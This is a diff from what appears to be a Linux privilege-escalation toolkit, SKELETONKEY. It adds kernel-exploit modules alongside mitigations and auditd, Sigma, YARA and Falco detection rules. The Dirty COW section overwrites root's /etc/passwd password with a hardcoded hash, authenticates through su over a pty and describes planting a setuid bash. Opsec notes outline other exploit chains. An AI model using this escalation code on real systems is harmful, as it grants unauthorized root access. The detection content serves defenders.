"key (add_key: %s). Inconclusive — the kernel may carry the fix "
|
||||
"(3da1fdf4efbc rejects userspace descriptions), or the key type may "
|
||||
"not permit direct add_key here. detect() reported the version+helper "
|
||||
"as vulnerable; verify against a known-vulnerable VM.\n",
|
||||
strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: the vendor-recommended runtime fix is to blocklist the
|
||||
* cifs module so the vulnerable upcall path cannot be reached. We write
|
||||
* a modprobe.d blocklist (needs root; persists across reboot and blocks
|
||||
* future autoload). We do not force-unload a possibly-mounted cifs. The
|
||||
* real fix is the kernel patch. --cleanup removes the blocklist file. */
|
||||
#define CIFSWITCH_BLOCKLIST "/etc/modprobe.d/skeletonkey-disable-cifs.conf"
|
||||
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
int fd = open(CIFSWITCH_BLOCKLIST, O_WRONLY | O_CREAT | O_TRUNC, 0644);
|
||||
if (fd < 0) {
|
||||
fprintf(stderr, "[-] cifswitch: cannot write %s: %s "
|
||||
"(need root: run as root, or "
|
||||
"`echo 'blacklist cifs' | sudo tee %s`)\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno), CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static const char body[] =
|
||||
"# Added by SKELETONKEY --mitigate cifswitch (CVE-2026-46243).\n"
|
||||
"# Blocklists the cifs module so the vulnerable cifs.spnego upcall\n"
|
||||
"# path cannot be reached. Remove via `--cleanup cifswitch`.\n"
|
||||
"blacklist cifs\n"
|
||||
"install cifs /bin/false\n";
|
||||
ssize_t w = write(fd, body, sizeof body - 1);
|
||||
close(fd);
|
||||
if (w != (ssize_t)(sizeof body - 1)) {
|
||||
fprintf(stderr, "[-] cifswitch: short write to %s\n", CIFSWITCH_BLOCKLIST);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] cifswitch: wrote %s (blocklist cifs). Already-loaded "
|
||||
"cifs stays until unmounted+`rmmod cifs` or reboot. This is "
|
||||
"a stopgap; patch the kernel. Revert: `--cleanup cifswitch`.\n",
|
||||
CIFSWITCH_BLOCKLIST);
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (unlink(CIFSWITCH_BLOCKLIST) == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] cifswitch: removed %s\n", CIFSWITCH_BLOCKLIST);
|
||||
} else if (errno != ENOENT) {
|
||||
fprintf(stderr, "[-] cifswitch: could not remove %s: %s\n",
|
||||
CIFSWITCH_BLOCKLIST, strerror(errno));
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: keyrings, cifs.upcall and modprobe are all
|
||||
* Linux-only. Stub so the module still registers and `make` completes on
|
||||
* macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t cifswitch_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] cifswitch: Linux-only module "
|
||||
"(cifs.spnego keyring trust) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] cifswitch: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t cifswitch_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is a non-root process creating a `cifs.spnego` key
|
||||
* (add_key/request_key) and/or an unexpected cifs.upcall execution
|
||||
* paired with user-namespace setup. */
|
||||
static const char cifswitch_auditd[] =
|
||||
"# CVE-2026-46243 (CIFSwitch) — auditd detection rules\n"
|
||||
"# A non-root add_key/request_key for cifs.spnego is the core abuse,\n"
|
||||
"# usually paired with unshare(CLONE_NEWUSER|CLONE_NEWNS) and a\n"
|
||||
"# cifs.upcall execution that loads an attacker NSS module.\n"
|
||||
"-a always,exit -F arch=b64 -S add_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S request_key -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-cifswitch\n"
|
||||
"-w /usr/sbin/cifs.upcall -p x -k skeletonkey-cifswitch\n";
|
||||
|
||||
static const char cifswitch_sigma[] =
|
||||
"title: Possible CVE-2026-46243 CIFSwitch cifs.spnego keyring LPE\n"
|
||||
"id: 9b2e7c10-skeletonkey-cifswitch\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects a non-root process creating a cifs.spnego key via\n"
|
||||
" add_key/request_key. CIFSwitch forges the authority-bearing fields\n"
|
||||
" (uid/creduid/upcall_target) in a cifs.spnego key description that\n"
|
||||
" the root cifs.upcall helper trusts, then uses namespace tricks to\n"
|
||||
" load an attacker NSS module as root. False positives: legitimate\n"
|
||||
" CIFS/Kerberos mounts normally trigger cifs.spnego from kernel\n"
|
||||
" context (root), not from an unprivileged add_key.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" keyop: {type: 'SYSCALL', syscall: ['add_key', 'request_key']}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: keyop and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46243]\n";
|
||||
|
||||
static const char cifswitch_falco[] =
|
||||
"- rule: non-root cifs.spnego key creation (CVE-2026-46243 CIFSwitch)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates a cifs.spnego key (add_key/request_key)\n"
|
||||
" or spawns cifs.upcall outside a kernel-initiated CIFS mount. The\n"
|
||||
" CIFSwitch LPE forges authority fields in the key description that\n"
|
||||
" the root cifs.upcall helper trusts, loading an attacker NSS module\n"
|
||||
" as root. False positives: container/CIFS tooling run as root.\n"
|
||||
" condition: >\n"
|
||||
" ((evt.type in (add_key, request_key)) or\n"
|
||||
" (spawned_process and proc.name = cifs.upcall)) and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" non-root cifs.spnego key op / cifs.upcall (possible CVE-2026-46243)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46243]\n";
|
||||
|
||||
const struct skeletonkey_module cifswitch_module = {
|
||||
.name = "cifswitch",
|
||||
.cve = "CVE-2026-46243",
|
||||
.summary = "cifs.spnego key type trusts userspace-forged authority fields → cifs.upcall loads attacker NSS module as root (Asim Manizada)",
|
||||
.family = "cifswitch",
|
||||
.kernel_range = "fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); ~19-year-old bug below those",
|
||||
.detect = cifswitch_detect,
|
||||
.exploit = cifswitch_exploit,
|
||||
.mitigate = cifswitch_mitigate,
|
||||
.cleanup = cifswitch_cleanup,
|
||||
.detect_auditd = cifswitch_auditd,
|
||||
.detect_sigma = cifswitch_sigma,
|
||||
.detect_yara = NULL, /* attacker NSS .so has no stable signature; behavioural bug */
|
||||
.detect_falco = cifswitch_falco,
|
||||
.opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 5.10.257/6.1.174/6.12.90/7.0.10) and probes for the cifs.upcall helper / cifs.spnego request-key rule (override via SKELETONKEY_CIFS_ASSUME_PRESENT=1/0); a vulnerable kernel without cifs-utils is PRECOND_FAIL. exploit() fires only the non-destructive primitive: add_key(2) of a forged-but-benign cifs.spnego key (does NOT invoke cifs.upcall, loads nothing), revokes it immediately, and treats a clean accept as the empirical witness — it never runs the namespace-switch + malicious-NSS-load chain that pops root, and returns EXPLOIT_FAIL without a euid-0 witness. Audit-visible via add_key/request_key for cifs.spnego by a non-root auid, typically alongside unshare(CLONE_NEWUSER|CLONE_NEWNS) and a cifs.upcall execution. --mitigate writes /etc/modprobe.d/skeletonkey-disable-cifs.conf (blacklist cifs); --cleanup removes it. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cifswitch(void)
|
||||
{
|
||||
skeletonkey_register(&cifswitch_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* cifswitch_cve_2026_46243 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
#define CIFSWITCH_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module cifswitch_module;
|
||||
|
||||
#endif
|
||||
@@ -69,9 +69,9 @@
|
||||
|
||||
static const struct kernel_patched_from cls_route4_patched_branches[] = {
|
||||
{5, 4, 213},
|
||||
{5, 10, 143},
|
||||
{5, 10, 136}, /* Debian tracker: earlier than 5.10.143 */
|
||||
{5, 15, 69},
|
||||
{5, 18, 18},
|
||||
{5, 18, 16}, /* Debian tracker: earlier than 5.18.18 */
|
||||
{5, 19, 7},
|
||||
{5, 20, 0}, /* mainline */
|
||||
};
|
||||
@@ -826,6 +826,54 @@ static const char cls_route4_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S unshare -k skeletonkey-cls-route4-userns\n"
|
||||
"-a always,exit -F arch=b64 -S msgsnd -k skeletonkey-cls-route4-spray\n";
|
||||
|
||||
static const char cls_route4_sigma[] =
|
||||
"title: Possible CVE-2022-2588 cls_route4 dead-UAF\n"
|
||||
"id: d56e8fc4-skeletonkey-cls-route4\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects the net/sched cls_route4 dead-UAF setup: unshare userns +\n"
|
||||
" netns + tc qdisc/filter rules with handle 0 + delete + msg_msg\n"
|
||||
" spray + UDP sendto on a dummy interface. False positives:\n"
|
||||
" traffic-shaping config in rootless containers.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" userns: {type: 'SYSCALL', syscall: 'unshare'}\n"
|
||||
" udp: {type: 'SYSCALL', syscall: 'sendto'}\n"
|
||||
" groom: {type: 'SYSCALL', syscall: 'msgsnd'}\n"
|
||||
" condition: userns and udp and groom\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2022.2588]\n";
|
||||
|
||||
static const char cls_route4_yara[] =
|
||||
"rule cls_route4_cve_2022_2588 : cve_2022_2588 kernel_uaf\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2022-2588\"\n"
|
||||
" description = \"cls_route4 dead-UAF kmalloc-1k spray tag and log breadcrumb\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $tag = \"SKELETONKEY4\" ascii\n"
|
||||
" $log = \"/tmp/skeletonkey-cls_route4.log\" ascii\n"
|
||||
" condition:\n"
|
||||
" any of them\n"
|
||||
"}\n";
|
||||
|
||||
static const char cls_route4_falco[] =
|
||||
"- rule: tc route4 filter manipulation by non-root in userns\n"
|
||||
" desc: |\n"
|
||||
" Non-root tc qdisc + route4 filter add/delete inside a userns\n"
|
||||
" + UDP sendto trigger. CVE-2022-2588 dead-UAF pattern. False\n"
|
||||
" positives: legitimate traffic shaping inside rootless\n"
|
||||
" containers.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and fd.sockfamily = AF_INET and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" UDP sendto on dummy iface from non-root\n"
|
||||
" (user=%user.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [network, mitre_privilege_escalation, T1068, cve.2022.2588]\n";
|
||||
|
||||
const struct skeletonkey_module cls_route4_module = {
|
||||
.name = "cls_route4",
|
||||
.cve = "CVE-2022-2588",
|
||||
@@ -837,9 +885,11 @@ const struct skeletonkey_module cls_route4_module = {
|
||||
.mitigate = NULL, /* mitigation: blacklist cls_route4 module OR disable user_ns */
|
||||
.cleanup = cls_route4_cleanup,
|
||||
.detect_auditd = cls_route4_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_sigma = cls_route4_sigma,
|
||||
.detect_yara = cls_route4_yara,
|
||||
.detect_falco = cls_route4_falco,
|
||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNET); ip link/addr/route to make a dummy interface, htb qdisc + class + route4 filter with handle 0, delete filter (leaves dangling tcf_proto pointer), msg_msg spray kmalloc-1k tagged 'SKELETONKEY4', UDP sendto to trigger classify(). Writes /tmp/skeletonkey-cls_route4.log. Audit-visible via unshare + sendto(AF_INET) + msgsnd. Cleanup callback removes /tmp log + dummy interface.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_cls_route4(void)
|
||||
|
||||
@@ -157,6 +157,82 @@ static const char copy_fail_family_sigma[] =
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.31431, cve.2026.43284, cve.2026.43500]\n";
|
||||
|
||||
/* YARA + Falco rules shared across the 5 family modules. Scanned via
|
||||
* --detect-rules; the dispatcher dedups by pointer so the rule blob
|
||||
* emits once even though copy_fail / copy_fail_gcm / dirty_frag_*
|
||||
* all point at the same string. */
|
||||
static const char copy_fail_family_yara[] =
|
||||
"rule etc_passwd_uid_flip : page_cache_write\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31431 / CVE-2026-43284 / CVE-2026-43500\"\n"
|
||||
" description = \"/etc/passwd page-cache UID flip: a non-root user line shows a zero-padded UID (the canonical Copy Fail / Dirty Frag / DirtyDecrypt / Dirty Pipe payload). Scan /etc/passwd; legitimate root uses plain '0:', never '0000:'.\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" // lowercase-start username, optional shadow ('x') password, then UID 0000 or longer\n"
|
||||
" $uid_flip = /\\n[a-z_][a-z0-9_-]{0,30}:[^:]{0,8}:0{4,}:[0-9]+:/\n"
|
||||
" condition:\n"
|
||||
" $uid_flip\n"
|
||||
"}\n"
|
||||
"\n"
|
||||
"rule etc_passwd_root_no_password\n"
|
||||
"{\n"
|
||||
" meta:\n"
|
||||
" cve = \"CVE-2026-31635 (DirtyDecrypt sliding-window write)\"\n"
|
||||
" description = \"/etc/passwd root entry rewritten to have an empty password field — the DirtyDecrypt PoC's intermediate corruption (rewrite root's password to empty, then `su root` without password).\"\n"
|
||||
" author = \"SKELETONKEY\"\n"
|
||||
" strings:\n"
|
||||
" $root_open = /\\nroot::0:0:/ // empty password (canonical x or ! when shadowed)\n"
|
||||
" condition:\n"
|
||||
" $root_open\n"
|
||||
"}\n";
|
||||
|
||||
static const char copy_fail_family_falco[] =
|
||||
"- rule: AF_ALG authenc keyblob installed by non-root (Copy Fail primitive)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process creates an AF_ALG socket and installs an\n"
|
||||
" authencesn(hmac(sha256),cbc(aes)) keyblob via ALG_SET_KEY.\n"
|
||||
" Core of the Copy Fail (CVE-2026-31431) primitive — also\n"
|
||||
" triggered by the GCM variant. AF_ALG by non-root is rare on\n"
|
||||
" most servers; tune by allow-listing your crypto-using daemons.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = socket and evt.arg[0] = 38 and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" AF_ALG socket() by non-root (user=%user.name pid=%proc.pid\n"
|
||||
" ppid=%proc.ppid parent=%proc.pname cmdline=\"%proc.cmdline\")\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.31431, copy_fail]\n"
|
||||
"\n"
|
||||
"- rule: XFRM NETLINK_XFRM bind from unprivileged userns (Dirty Frag primitive)\n"
|
||||
" desc: |\n"
|
||||
" A NETLINK_XFRM socket is opened from inside an unprivileged\n"
|
||||
" user namespace, with subsequent XFRM_MSG_NEWSA installing an\n"
|
||||
" ESP(rfc4106(gcm(aes))) state. Core of the Dirty Frag esp/esp6\n"
|
||||
" variants — also tripped by Fragnesia's setup phase. Legitimate\n"
|
||||
" XFRM use is normally privileged (strongSwan, libreswan).\n"
|
||||
" condition: >\n"
|
||||
" evt.type = sendto and not user.uid = 0 and\n"
|
||||
" proc.aname[1] != \"\" // we want non-init userns; refine with k8s.namespace or container.id\n"
|
||||
" output: >\n"
|
||||
" NETLINK_XFRM sendto from non-root (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: WARNING\n"
|
||||
" tags: [process, cve.2026.43284, dirty_frag]\n"
|
||||
"\n"
|
||||
"- rule: /etc/passwd modified by non-root (Copy Fail / Dirty Frag / Dirty Pipe outcome)\n"
|
||||
" desc: |\n"
|
||||
" /etc/passwd is read-only for non-root, so a non-root caller\n"
|
||||
" showing up on its open(W_OK) audit trail indicates a\n"
|
||||
" page-cache write primitive succeeded. Catches the post-fire\n"
|
||||
" state for the whole copy_fail family + dirty_pipe.\n"
|
||||
" condition: >\n"
|
||||
" open_write and fd.name = /etc/passwd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" Non-root write to /etc/passwd (user=%user.name pid=%proc.pid\n"
|
||||
" proc=%proc.name)\n"
|
||||
" priority: CRITICAL\n"
|
||||
" tags: [filesystem, mitre_privilege_escalation, T1068, copy_fail, dirty_frag]\n";
|
||||
|
||||
const struct skeletonkey_module copy_fail_module = {
|
||||
.name = "copy_fail",
|
||||
.cve = "CVE-2026-31431",
|
||||
@@ -169,8 +245,10 @@ const struct skeletonkey_module copy_fail_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- copy_fail_gcm (variant, no CVE) ----- */
|
||||
@@ -201,8 +279,10 @@ const struct skeletonkey_module copy_fail_gcm_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp (CVE-2026-43284 v4) ----- */
|
||||
@@ -233,8 +313,10 @@ const struct skeletonkey_module dirty_frag_esp_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_esp6 (CVE-2026-43284 v6) ----- */
|
||||
@@ -265,8 +347,10 @@ const struct skeletonkey_module dirty_frag_esp6_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- dirty_frag_rxrpc (CVE-2026-43500) ----- */
|
||||
@@ -297,8 +381,10 @@ const struct skeletonkey_module dirty_frag_rxrpc_module = {
|
||||
.cleanup = copy_fail_family_cleanup,
|
||||
.detect_auditd = copy_fail_family_auditd,
|
||||
.detect_sigma = copy_fail_family_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_yara = copy_fail_family_yara,
|
||||
.detect_falco = copy_fail_family_falco,
|
||||
.opsec_notes = "Family-shared infrastructure (copy_fail, copy_fail_gcm, dirty_frag_esp/esp6, dirty_frag_rxrpc): all exploit a page-cache write primitive against /etc/passwd (UID flip to all-zeros) or install a persistent backdoor. Audit-visible via socket(AF_ALG) (a0=38), setsockopt(XFRM), AF_UNIX setup. Detection rules watch /etc/passwd, /etc/shadow, /etc/sudoers, /usr/bin/su for non-root writes. Family mitigation blacklists algif_aead/esp4/esp6/rxrpc and sets apparmor_restrict_unprivileged_userns=1. Cleanup evicts /etc/passwd from page cache and reverts mitigation conf.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
/* ----- Family registration ----- */
|
||||
|
||||
@@ -32,13 +32,24 @@
|
||||
*
|
||||
* Exploit shape: Phil Oester-style two-thread race.
|
||||
* - mmap /etc/passwd PRIVATE (writes go to copy-on-write)
|
||||
* - Find the user's UID field byte offset
|
||||
* - Thread A loop: pwrite(/proc/self/mem, "0000", uid_off) — should
|
||||
* write to the COW page, but the bug makes it land in the original
|
||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW
|
||||
* copy, forcing re-fault
|
||||
* - One iteration wins the race → page cache poisoned
|
||||
* - execve(su) → shell with uid=0
|
||||
* - Thread A loop: write(/proc/self/mem, payload, off) — should write to
|
||||
* the COW page, but the bug makes it land in the original page cache
|
||||
* - Thread B loop: madvise(addr, MADV_DONTNEED) — drops the COW copy,
|
||||
* forcing re-fault
|
||||
* - One iteration wins → the page cache is poisoned
|
||||
* - Escalation (same as dirty_pipe): overwrite ROOT's password field with
|
||||
* a known crypt hash, authenticate as root over a pty with the matching
|
||||
* password, plant a root-owned proof + setuid bash, then revert the page
|
||||
* cache via the Dirty COW primitive itself (no root, no drop_caches).
|
||||
* Root is judged only by the out-of-band artifact.
|
||||
*
|
||||
* NB: the shipped version raced the CALLER's UID to "0000" and ran
|
||||
* `su self` (still needs the caller's password → never rooted anything),
|
||||
* execlp'd su so the dispatcher's exec-transfer path reported a FALSE
|
||||
* EXPLOIT_OK, and reverted with drop_caches (needs root → corrupted the
|
||||
* running /etc/passwd). All three are fixed here; identical bug/fix to
|
||||
* dirty_pipe. Escalation verified end-to-end via dirty_pipe; the COW
|
||||
* primitive itself needs a pre-4.8.3 kernel to land.
|
||||
*/
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
@@ -62,6 +73,9 @@
|
||||
#include <pthread.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/stat.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/types.h>
|
||||
#include <poll.h>
|
||||
|
||||
/* Stable-branch backport thresholds for Dirty COW. */
|
||||
static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
@@ -72,7 +86,7 @@ static const struct kernel_patched_from dirty_cow_patched_branches[] = {
|
||||
{3, 16, 38},
|
||||
{3, 18, 43},
|
||||
{4, 4, 26}, /* Ubuntu 16.04 baseline */
|
||||
{4, 7, 10},
|
||||
{4, 7, 8}, /* Debian tracker: earlier than 4.7.10 */
|
||||
{4, 8, 3},
|
||||
{4, 9, 0}, /* mainline fix */
|
||||
};
|
||||
@@ -83,11 +97,11 @@ static const struct kernel_range dirty_cow_range = {
|
||||
sizeof(dirty_cow_patched_branches[0]),
|
||||
};
|
||||
|
||||
/* ---- Find UID field offset (inline; same pattern as dirty_pipe) ---- */
|
||||
/* ---- /etc/passwd password-field helpers (same approach as dirty_pipe:
|
||||
* overwrite ROOT's password field with a known hash, su as root) --- */
|
||||
|
||||
static bool find_passwd_uid_field(const char *username,
|
||||
off_t *uid_off, size_t *uid_len,
|
||||
char uid_str[16])
|
||||
/* Byte offset of the password field of `username` (just after "name:"). */
|
||||
static bool find_pw_field_offset(const char *username, off_t *field_off, size_t *sz)
|
||||
{
|
||||
int fd = open("/etc/passwd", O_RDONLY);
|
||||
if (fd < 0) return false;
|
||||
@@ -105,29 +119,73 @@ static bool find_passwd_uid_field(const char *username,
|
||||
while (p < buf + st.st_size) {
|
||||
char *eol = strchr(p, '\n');
|
||||
if (!eol) eol = buf + st.st_size;
|
||||
if (strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
char *q = p + ulen + 1;
|
||||
char *pw_end = memchr(q, ':', eol - q);
|
||||
if (!pw_end) goto next;
|
||||
char *uid_begin = pw_end + 1;
|
||||
char *uid_end = memchr(uid_begin, ':', eol - uid_begin);
|
||||
if (!uid_end) goto next;
|
||||
size_t L = uid_end - uid_begin;
|
||||
if (L == 0 || L >= 16) goto next;
|
||||
memcpy(uid_str, uid_begin, L);
|
||||
uid_str[L] = 0;
|
||||
*uid_off = (off_t)(uid_begin - buf);
|
||||
*uid_len = L;
|
||||
if ((p == buf || p[-1] == '\n') &&
|
||||
strncmp(p, username, ulen) == 0 && p[ulen] == ':') {
|
||||
*field_off = (off_t)((p + ulen + 1) - buf);
|
||||
*sz = (size_t)st.st_size;
|
||||
free(buf);
|
||||
return true;
|
||||
}
|
||||
next:
|
||||
p = eol + 1;
|
||||
}
|
||||
free(buf);
|
||||
return false;
|
||||
}
|
||||
|
||||
#define DC_ROOT_PW "skeletonkey"
|
||||
#define DC_ROOT_HASH "$6$SKpwnSalt1$LNL9WuXFTt8BvutpX4j8/7VpXb3hutSqyZAC.NKfGMx/vg9jGQR/h/cvwgcn55HcaNJipuuiBDsPywanKkx/D1"
|
||||
|
||||
/* Run `cmd` as root via su, feeding DC_ROOT_PW over a pty (su reads the
|
||||
* password from the controlling terminal, not stdin). Success is judged
|
||||
* out-of-band by the caller, never from su's status. */
|
||||
static void dc_su_root_run(const char *cmd)
|
||||
{
|
||||
int mfd = posix_openpt(O_RDWR | O_NOCTTY);
|
||||
if (mfd < 0) return;
|
||||
if (grantpt(mfd) < 0 || unlockpt(mfd) < 0) { close(mfd); return; }
|
||||
const char *sn = ptsname(mfd);
|
||||
if (!sn) { close(mfd); return; }
|
||||
char slave[128];
|
||||
snprintf(slave, sizeof slave, "%s", sn);
|
||||
|
||||
pid_t pid = fork();
|
||||
if (pid < 0) { close(mfd); return; }
|
||||
if (pid == 0) {
|
||||
setsid();
|
||||
int sfd = open(slave, O_RDWR);
|
||||
if (sfd < 0) _exit(127);
|
||||
